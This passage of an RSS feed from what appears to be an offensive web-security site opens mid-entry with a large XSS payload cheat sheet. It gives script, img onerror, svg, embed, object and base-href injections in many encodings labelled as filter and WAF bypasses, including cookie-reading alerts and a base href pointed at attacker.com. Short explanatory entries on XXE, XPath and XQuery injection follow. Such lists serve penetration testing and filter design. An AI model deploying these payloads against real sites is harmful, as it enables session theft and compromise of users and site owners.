%253Cscript%253Ealert(1)%253C%252Fscript%253E

[UNICODE — for JS context or template injection]
\u003cscript\u003ealert(1)\u003c/script\u003e

[HTML COMMENT KEYWORD BREAK — fools regex filters]
&amp;lt;scr&amp;lt;!----&amp;gt;ipt&amp;gt;alert(1)&amp;lt;/scr&amp;lt;!----&amp;gt;ipt&amp;gt;
&amp;lt;scr&amp;lt;!--esi--&amp;gt;ipt&amp;gt;alert(1)&amp;lt;/script&amp;gt;
&amp;lt;scr/**/ipt&amp;gt;alert(1)&amp;lt;/script&amp;gt;
&amp;lt;SCRIPT&amp;gt;alert(1)&amp;lt;/SCRIPT&amp;gt;
&amp;lt;ScRiPt&amp;gt;alert(document.domain)&amp;lt;/ScRiPt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;img-onerror--core-stored-xss-payload&#34;&gt;&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; onerror — Core Stored XSS Payload&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[RAW]
&amp;lt;img src=x onerror=alert(1)&amp;gt;
&amp;lt;img src=1 onerror=confirm(1)&amp;gt;
&amp;lt;img src=x onerror=alert(document.domain)&amp;gt;
&amp;lt;img src=x onerror=alert(document.cookie)&amp;gt;

[HTML ENTITY — brackets only]
&amp;amp;#x3c;img src=x onerror=alert(1)&amp;amp;#x3e;
&amp;amp;#x003c;img src=1 onerror=confirm(1)&amp;amp;#x003e;

[HTML ENTITY — event value also encoded (survives htmlspecialchars)]
&amp;lt;img src=x onerror=&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#49;&amp;amp;#41;&amp;gt;
&amp;lt;img src=x onerror=&amp;amp;#x61;&amp;amp;#x6c;&amp;amp;#x65;&amp;amp;#x72;&amp;amp;#x74;&amp;amp;#x28;&amp;amp;#x31;&amp;amp;#x29;&amp;gt;
&amp;lt;img src=x onerror=&amp;amp;#x61;l&amp;amp;#x65;rt&amp;amp;#x28;1&amp;amp;#x29;&amp;gt;
&amp;lt;img src=x onerror=al&amp;amp;#101;rt(1)&amp;gt;
&amp;lt;img src=x onerror=&amp;amp;#97&amp;amp;#108&amp;amp;#101&amp;amp;#114&amp;amp;#116&amp;amp;#40&amp;amp;#49&amp;amp;#41&amp;gt;

[HTML ENTITY — full attribute in quotes]
&amp;lt;img src=x onerror=&amp;#34;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#49;&amp;amp;#41;&amp;#34;&amp;gt;
&amp;lt;img src=x onerror=&amp;#34;&amp;amp;#x61;&amp;amp;#x6c;&amp;amp;#x65;&amp;amp;#x72;&amp;amp;#x74;&amp;amp;#x28;&amp;amp;#x31;&amp;amp;#x29;&amp;#34;&amp;gt;

[URL ENCODED]
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
%3Cimg%20src%3D1%20onerror%3Dconfirm(1)%3E
%3cimg+src%3dx+onerror%3dalert(document.domain)%3e

[DOUBLE URL ENCODED]
%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
%253cimg%2520src%253d1%2520onerror%253dconfirm%25281%2529%253e

[URL + HTML ENTITY COMBINED]
%26%23x003c%3Bimg%20src%3D1%20onerror%3Dalert(1)%26%23x003e%3B
%26%23x003c%3Bimg%20src%3D1%20onerror%3Dconfirm(1)%26%23x003e%3B%0A

[CASE VARIATION + DOUBLE ENCODE — WAF bypass]
%253CSvg%2520O%256ELoad%253Dconfirm%2528/xss/%2529%253E
x%22%3E%3Cimg%20src=%22x%22%3E%3C!--%2522%2527--%253E%253CSvg%2520O%256ELoad%253Dconfirm%2528/xss/%2529%253E

[HEX ESCAPE in event]
&amp;lt;img src=x onerror=&amp;#34;\x61\x6c\x65\x72\x74(1)&amp;#34;&amp;gt;

[UNICODE ESCAPE in event]
&amp;lt;img src=x onerror=&amp;#34;\u0061\u006c\u0065\u0072\u0074(1)&amp;#34;&amp;gt;
&amp;lt;img src=x onerror=&amp;#34;\u{61}lert(1)&amp;#34;&amp;gt;

[BASE64 eval — survives many keyword filters]
&amp;lt;img src=x onerror=&amp;#34;eval(atob(&amp;#39;YWxlcnQoMSk=&amp;#39;))&amp;#34;&amp;gt;
&amp;lt;img src=x onerror=&amp;#34;eval(atob(&amp;#39;YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==&amp;#39;))&amp;#34;&amp;gt;
&amp;lt;img src=x onerror=&amp;#34;eval(atob(&amp;#39;YWxlcnQoZG9jdW1lbnQuY29va2llKQ==&amp;#39;))&amp;#34;&amp;gt;

[FROMCHARCODE — no string literals needed]
&amp;lt;img src=x onerror=&amp;#34;eval(String.fromCharCode(97,108,101,114,116,40,49,41))&amp;#34;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;svg-based&#34;&gt;&lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; Based&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[RAW]
&amp;lt;svg onload=alert(1)&amp;gt;
&amp;lt;svg/onload=confirm(1)&amp;gt;
&amp;lt;svg onload=alert(document.domain)&amp;gt;

[HTML ENTITY]
&amp;amp;#x3c;svg onload=alert(1)&amp;amp;#x3e;
&amp;amp;#x003c;svg onload=alert(document.domain)&amp;amp;#x003e;
&amp;amp;#60;svg onload=alert(1)&amp;amp;#62;

[URL ENCODED]
%3Csvg%20onload%3Dalert(1)%3E
%3csvg%2fonload%3dconfirm(1)%3e

[DOUBLE URL ENCODED]
%253Csvg%2520onload%253Dalert(1)%253E
%253CSvg%2520OnLoAd%253Dconfirm(1)%253E

[SVG ANIMATE — alternative to onload]
&amp;lt;svg&amp;gt;&amp;lt;animate onbegin=alert(1) attributeName=x dur=1s&amp;gt;
&amp;lt;svg&amp;gt;&amp;lt;set onbegin=alert(1) attributeName=x to=1&amp;gt;
&amp;lt;svg&amp;gt;&amp;lt;discard onbegin=alert(1)&amp;gt;

[SVG SCRIPT element]
&amp;lt;svg&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;svg&amp;gt;&amp;lt;script&amp;gt;alert&amp;amp;#40;1&amp;amp;#41;&amp;lt;/script&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;svg&amp;gt;&amp;lt;script&amp;gt;alert&amp;amp;lpar;1&amp;amp;rpar;&amp;lt;/script&amp;gt;&amp;lt;/svg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;embed-object-base--often-missed-by-filters&#34;&gt;&lt;code&gt;&amp;lt;embed&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; — Often Missed by Filters&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[EMBED]
&amp;lt;embed src=javascript:alert(1)&amp;gt;
&amp;lt;embed src=&amp;#34;javascript:alert(document.domain)&amp;#34;&amp;gt;
&amp;lt;embed src=https://az0th.it/x//alert(1)&amp;gt;

[OBJECT]
&amp;lt;object data=javascript:alert(1)&amp;gt;
&amp;lt;object data=&amp;#34;javascript:alert(document.cookie)&amp;#34;&amp;gt;
&amp;amp;#x3c;object data=javascript:alert(1)&amp;amp;#x3e;

[BASE HREF POISONING — redirects all relative script loads]
&amp;lt;base href=&amp;#34;javascript:\
&amp;lt;base href=&amp;#34;javascript:alert(1)//&amp;#34;&amp;gt;
&amp;lt;base href=&amp;#34;//attacker.com/&amp;#34;&amp;gt;

[EMBED + BASE COMBINED]
&amp;lt;embed src=https://az0th.it/x//alert(1)&amp;gt;&amp;lt;base href=&amp;#34;javascript:\
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;bypassing-specific-sanitizers&#34;&gt;Bypassing Specific Sanitizers&lt;/h2&gt;
&lt;h3 id=&#34;bypassing-strip_tags--php&#34;&gt;Bypassing &lt;code&gt;strip_tags()&lt;/code&gt; — PHP&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;strip_tags()&lt;/code&gt; removes tags but leaves content. Critical: it does NOT protect attribute context.&lt;/p&gt;</description>
    </item>
    <item>
      <title>XML External Entity Injection (XXE)</title>
      <link>https://az0th.it/web/input/011-input-xxe/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/011-input-xxe/</guid>
      <description>&lt;h1 id=&#34;xml-external-entity-injection-xxe&#34;&gt;XML External Entity Injection (XXE)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical
&lt;strong&gt;CWE&lt;/strong&gt;: CWE-611
&lt;strong&gt;OWASP&lt;/strong&gt;: A05:2021 – Security Misconfiguration&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-xxe&#34;&gt;What Is XXE?&lt;/h2&gt;
&lt;p&gt;XML External Entity Injection occurs when an &lt;strong&gt;XML parser processes external entity declarations&lt;/strong&gt; defined by the attacker within the XML input. If the parser is configured to resolve external entities (often the default in older or misconfigured libraries), an attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Read arbitrary files from the server filesystem&lt;/li&gt;
&lt;li&gt;Trigger SSRF to internal services and cloud metadata&lt;/li&gt;
&lt;li&gt;Perform blind data exfiltration via DNS/HTTP&lt;/li&gt;
&lt;li&gt;In some configurations, achieve Remote Code Execution&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;XXE affects anything that parses XML: REST APIs accepting &lt;code&gt;Content-Type: application/xml&lt;/code&gt;, SOAP services, file upload endpoints processing DOCX/XLSX/SVG/PDF/ODT, and any XML-based data exchange format.&lt;/p&gt;</description>
    </item>
    <item>
      <title>XPath Injection</title>
      <link>https://az0th.it/web/input/004-input-xpath-injection/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/004-input-xpath-injection/</guid>
      <description>&lt;h1 id=&#34;xpath-injection&#34;&gt;XPath Injection&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-91
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-xpath-injection&#34;&gt;What Is XPath Injection?&lt;/h2&gt;
&lt;p&gt;XPath is a query language for navigating XML documents. Applications that use XPath to query XML-backed datastores (config files, LDAP over XML, XML databases, SAML assertions) are vulnerable when user input is concatenated directly into XPath expressions.&lt;/p&gt;
&lt;p&gt;Unlike SQL, &lt;strong&gt;XPath has no native parameterization&lt;/strong&gt; in most implementations — making injection structurally similar to classic SQLi but with XPath operators and axes.&lt;/p&gt;</description>
    </item>
    <item>
      <title>XQuery Injection</title>
      <link>https://az0th.it/web/input/005-input-xquery-injection/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/005-input-xquery-injection/</guid>
      <description>&lt;h1 id=&#34;xquery-injection&#34;&gt;XQuery Injection&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-652
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-xquery-injection&#34;&gt;What Is XQuery Injection?&lt;/h2&gt;
&lt;p&gt;XQuery is a functional query language for XML databases (BaseX, eXist-db, MarkLogic, Saxon). Like SQL injection against relational databases, XQuery injection occurs when user input is concatenated directly into an XQuery expression. The impact ranges from data extraction (full XML database dump) to RCE in some implementations that expose XQuery functions like &lt;code&gt;file:write()&lt;/code&gt;, &lt;code&gt;proc:system()&lt;/code&gt;, or Java class invocation.&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
